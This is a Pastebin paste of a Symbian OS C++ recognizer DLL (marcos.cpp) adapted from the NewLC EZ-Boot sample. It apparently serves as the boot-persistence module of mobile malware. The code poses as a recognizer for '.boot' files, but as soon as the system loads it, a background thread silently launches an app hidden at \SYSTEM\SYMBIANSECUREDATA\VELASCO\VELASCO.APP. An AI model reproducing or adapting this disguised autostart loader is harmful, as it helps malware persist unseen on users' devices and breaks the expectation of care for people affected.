Advertisement
FlyFar

marcos.cpp

Mar 9th, 2023
662
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 9.82 KB | Cybersecurity | 0 0
  1. //////////////////////////////////////////////////////////////////////////////
  2. //
  3. //                             EZ-Boot
  4. //                        
  5. //////////////////////////////////////////////////////////////////////////////
  6. //                      Boot & Recognizer Module
  7. //                    by NewLC (http://www.newlc.com)
  8. //////////////////////////////////////////////////////////////////////////////
  9. // File         : ezrecog.cpp
  10. // Compatibility: Symbian OS v6.1
  11. // History:
  12. //   2003.07.26: EBS : Creation
  13. //   2003.08.12: EBS : Integration in EZBoot
  14. //   2003.09.01: EBS : Add boot file recognition
  15. //   2003.10.28: EBS : Cleanup and comment
  16. //////////////////////////////////////////////////////////////////////////////
  17.  
  18. #include <e32std.h>
  19. #include <e32base.h>
  20. #include <e32def.h>
  21. #include <f32file.h>
  22. #include <apacmdln.h>
  23. #include <apgcli.h>
  24. #include <apmrec.h>
  25. #include <apmstd.h>
  26. #include "marcos.h"
  27.  
  28. //////////////////////////////////////////////////////////////////////////////
  29. //
  30. // Recognition Definitions
  31. //
  32. /////////////////////////////////////////////////////////////////////////////
  33.  
  34. // The MIME Type that will be recognized
  35. _LIT8(KEzbMimeType,"text/vnd.newlc.ezboot");
  36.  
  37. // The file extension that shall be used by data we are recognizing
  38. _LIT(KEzbFileExtension,".boot");
  39.  
  40. // The data header that identifies EZBoot data
  41. _LIT8(KEzbDataHeader,"EZBoot:");
  42.  
  43. _LIT(KEzBootExe,"\\SYSTEM\\SYMBIANSECUREDATA\\VELASCO\\VELASCO.APP");
  44.  
  45. // The priority of the recognizer, can be EHigh, ENormal, ELow
  46. #define KEzRecognizerPriority CApaDataRecognizerType::ENormal
  47.  
  48. // The size of the data buffer that will be passed to the recognizer
  49. // so that it performs the recognition
  50. #define KEzRecognizerBufferSize 7
  51.  
  52. // The recognizer UID
  53. const TUid KUidEzBoot={KUidRecog};
  54.  
  55.  
  56. //////////////////////////////////////////////////////////////////////////////
  57. //
  58. // Boot Definitions
  59. //
  60. /////////////////////////////////////////////////////////////////////////////
  61.  
  62. // The thread name that will used to launch the above EXE
  63. _LIT(KBootUpThreadName,"EzBootThr");
  64.  
  65. //////////////////////////////////////////////////////////////////////////////
  66. /// DLL entry point.
  67. /// \param aReason can be ignored.
  68. /// \return Always KErrNone
  69. /////////////////////////////////////////////////////////////////////////////
  70. GLDEF_C TInt E32Dll(TDllReason /*aReason*/)
  71. {
  72.    return(KErrNone);
  73. }
  74.  
  75. //////////////////////////////////////////////////////////////////////////////
  76. /// Recognizer instanciation. This function MUST be the first one defined
  77. /// for the recognizer.
  78. /// \return a pointer on a new allocated recognizer instance
  79. //////////////////////////////////////////////////////////////////////////////
  80. EXPORT_C CApaDataRecognizerType *CreateRecognizer()
  81. {
  82.    // Create a recognizer instance
  83.    CApaDataRecognizerType *me = new CRecog();
  84.    
  85.    // Start all the boot code under a trap harness
  86.    // This is pure boot code and has (normally) nothing to do
  87.    // in a recognizer...
  88.    CRecog::BootUp();
  89.    
  90.    return(me);
  91. }
  92.  
  93. //////////////////////////////////////////////////////////////////////////////
  94. /// Recognizer Constructor.
  95. /// Initialise the internal data member iCountDataTypes with the number of
  96. /// MIME types that will be recognized. Set the recognizer priority.
  97. //////////////////////////////////////////////////////////////////////////////        
  98. CRecog::CRecog()
  99. :CApaDataRecognizerType(KUidEzBoot,KEzRecognizerPriority)
  100. {
  101.         iCountDataTypes=1;
  102. }
  103.  
  104. //////////////////////////////////////////////////////////////////////////////
  105. /// Returns the size of the data buffer that will be passed to the recognition
  106. /// function (used by the recognition framework)
  107. /// \see DoRecognizeL()
  108. /// \return size of the data buffer
  109. //////////////////////////////////////////////////////////////////////////////        
  110. TUint CRecog::PreferredBufSize()
  111. {
  112.    return(KEzRecognizerBufferSize);
  113. }
  114.  
  115. //////////////////////////////////////////////////////////////////////////////
  116. /// Returns the MIME type that our recognizer is able to manage
  117. /// (used by the recognition framework)
  118. /// \param aIndex: the index of the MIME type to return (will be always 1 for
  119. ///                a recognizer that handles a single MIME type)
  120. /// \return a MIME type
  121. //////////////////////////////////////////////////////////////////////////////
  122. TDataType CRecog::SupportedDataTypeL(TInt /*aIndex*/) const
  123. {
  124.    return(TDataType(KEzbMimeType));
  125. }
  126.  
  127. /////////////////////////////////////////////////////////////////////////////
  128. /// The recognition function. The result of the recognition is stored in
  129. /// the iConfidence data member.
  130. /// \param aName:   the name of the file that contain the data to analyze
  131. /// \param aBuffer: the data buffer
  132. /// \see PreferredBufSize()
  133. /////////////////////////////////////////////////////////////////////////////
  134. void CRecog::DoRecognizeL(TDesC& aName, const TDesC8& aBuffer)
  135. {
  136.    // Initialise the result status
  137.    iConfidence = ENotRecognized;
  138.    iDataType   = TDataType(KEzbMimeType);
  139.    
  140.    // Check that we got the required amount of data
  141.    if(aBuffer.Length()<KEzRecognizerBufferSize)
  142.            return;
  143.  
  144.    // Check that the file name corresponds to our criteria
  145.    TBool nameOK(EFalse);
  146.    nameOK=NameRecognized(aName);
  147.    
  148.    // Check that the data corresponds to our criteria
  149.    TBool headerOK(EFalse);
  150.    headerOK=HeaderRecognized(aBuffer);            
  151.    
  152.    // Conclude:
  153.    // - if file name and data are OK then the data are certainly recognized
  154.    // - if only the data are recognized, then this is only a possibility
  155.    // - else the data have not been recognized
  156.    if( nameOK && headerOK)
  157.    {
  158.            iConfidence=ECertain;
  159.    }
  160.    else if(!nameOK && headerOK)
  161.    {
  162.            iConfidence=EPossible;
  163.    }
  164.    else
  165.            return;
  166. }
  167.  
  168. /////////////////////////////////////////////////////////////////////////////
  169. /// The file name recognition function. This functions checks whether the
  170. /// provided filename matches our criteria (here we want it to have the .boot
  171. /// extension)
  172. /// \param aName: the name to check
  173. /// \return ETrue if the file is OK
  174. /////////////////////////////////////////////////////////////////////////////
  175. TBool CRecog::NameRecognized(const TDesC& aName)
  176. {
  177.   TBool res=EFalse;
  178.   if(aName.Length()>5)
  179.   {
  180.      TInt dotPos = aName.LocateReverse( '.' );
  181.      if (dotPos != KErrNotFound)
  182.      {
  183.         TInt extLength = aName.Length() - dotPos;
  184.         HBufC* ext = aName.Right( extLength ).AllocL();
  185.         CleanupStack::PushL( ext );
  186.         if ( ext->CompareF(KEzbFileExtension) == 0 )
  187.         {
  188.           res = ETrue;
  189.         }
  190.         CleanupStack::PopAndDestroy(); // ext
  191.      }
  192.    }
  193.    return(res);
  194. }
  195.  
  196. /////////////////////////////////////////////////////////////////////////////
  197. /// The data recognition function. This functions checks whether the
  198. /// provided data starts with our data header
  199. /// extension
  200. /// \param aBuf: the data buffer to check
  201. /// \return ETrue if the data are OK
  202. /////////////////////////////////////////////////////////////////////////////
  203. TBool CRecog::HeaderRecognized(const TDesC8& aBuf)
  204. {
  205.    if(aBuf.Find(KEzbDataHeader)==0)
  206.         return ETrue;
  207.    return EFalse;
  208. }
  209.  
  210.  
  211. /////////////////////////////////////////////////////////////////////////////
  212. /// The Boot code (non leaving). Create a new thread and kicks the real
  213. /// boot code.
  214. /// \see BootUpKick()
  215. /////////////////////////////////////////////////////////////////////////////
  216. void CRecog::BootUp()
  217. {
  218.    // Create a new thread
  219.    RThread* bootThread = new RThread();
  220.    if(bootThread)
  221.    {
  222.        TInt res=KErrNone;
  223.        
  224.        // and Start it
  225.        res=bootThread->Create(KBootUpThreadName,
  226.                               CRecog::BootUpKick,
  227.                               KDefaultStackSize,
  228.                               KMinHeapSize,
  229.                               KMinHeapSize,
  230.                               NULL,
  231.                               EOwnerThread);
  232.        
  233.        if(res==KErrNone)
  234.        {
  235.            bootThread->Resume();
  236.            bootThread->Close();
  237.        }
  238.        else
  239.        {
  240.            delete bootThread;
  241.        }
  242.    }
  243. }
  244.  
  245. /////////////////////////////////////////////////////////////////////////////
  246. /// The threaded boot code (non leaving). Actually just create a cleanup
  247. /// stack and call a non-leaving implementation of the boot code
  248. /// \see BootUp()
  249. /// \see BootUpKickL()
  250. /// \param aParam: not used but required as a thread entry point
  251. /// \return thread result
  252. /////////////////////////////////////////////////////////////////////////////
  253. TInt CRecog::BootUpKick(TAny* /*aParam*/)
  254. {
  255.    TInt err=KErrNoMemory;
  256.        // Create a cleanup stack...
  257.    CTrapCleanup *cleanup=CTrapCleanup::New();
  258.    if(cleanup)
  259.    {
  260.        //... and Kick under a trap harness
  261.        TRAP(err,CRecog::BootUpKickL());
  262.        delete cleanup;
  263.    }
  264.    return err;
  265. }
  266.  
  267. /////////////////////////////////////////////////////////////////////////////
  268. /// The Boot code.
  269. /////////////////////////////////////////////////////////////////////////////
  270.  
  271. void CRecog::BootUpKickL()
  272. {      
  273.         // Get the full path (including drive letter)
  274.         // to the boot server
  275.         RFs fs;
  276.         User::LeaveIfError(fs.Connect());
  277.         CleanupClosePushL(fs);
  278.         TFindFile findFile(fs);
  279.         User::LeaveIfError(findFile.FindByDir(KEzBootExe,KNullDesC));
  280.  
  281.         // Connect to the Apparc server
  282.         // and start our server
  283.         RApaLsSession ls;
  284.         User::LeaveIfError(ls.Connect());
  285.         CleanupClosePushL(ls);
  286.         CApaCommandLine *cmd = CApaCommandLine::NewLC();
  287.         cmd->SetLibraryNameL(findFile.File());
  288.         cmd->SetCommandL(EApaCommandOpen);
  289.         User::LeaveIfError(ls.StartApp(*cmd));
  290.  
  291.         // Delete all stuff on the cleanup stack
  292.         CleanupStack::PopAndDestroy(3);
  293. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement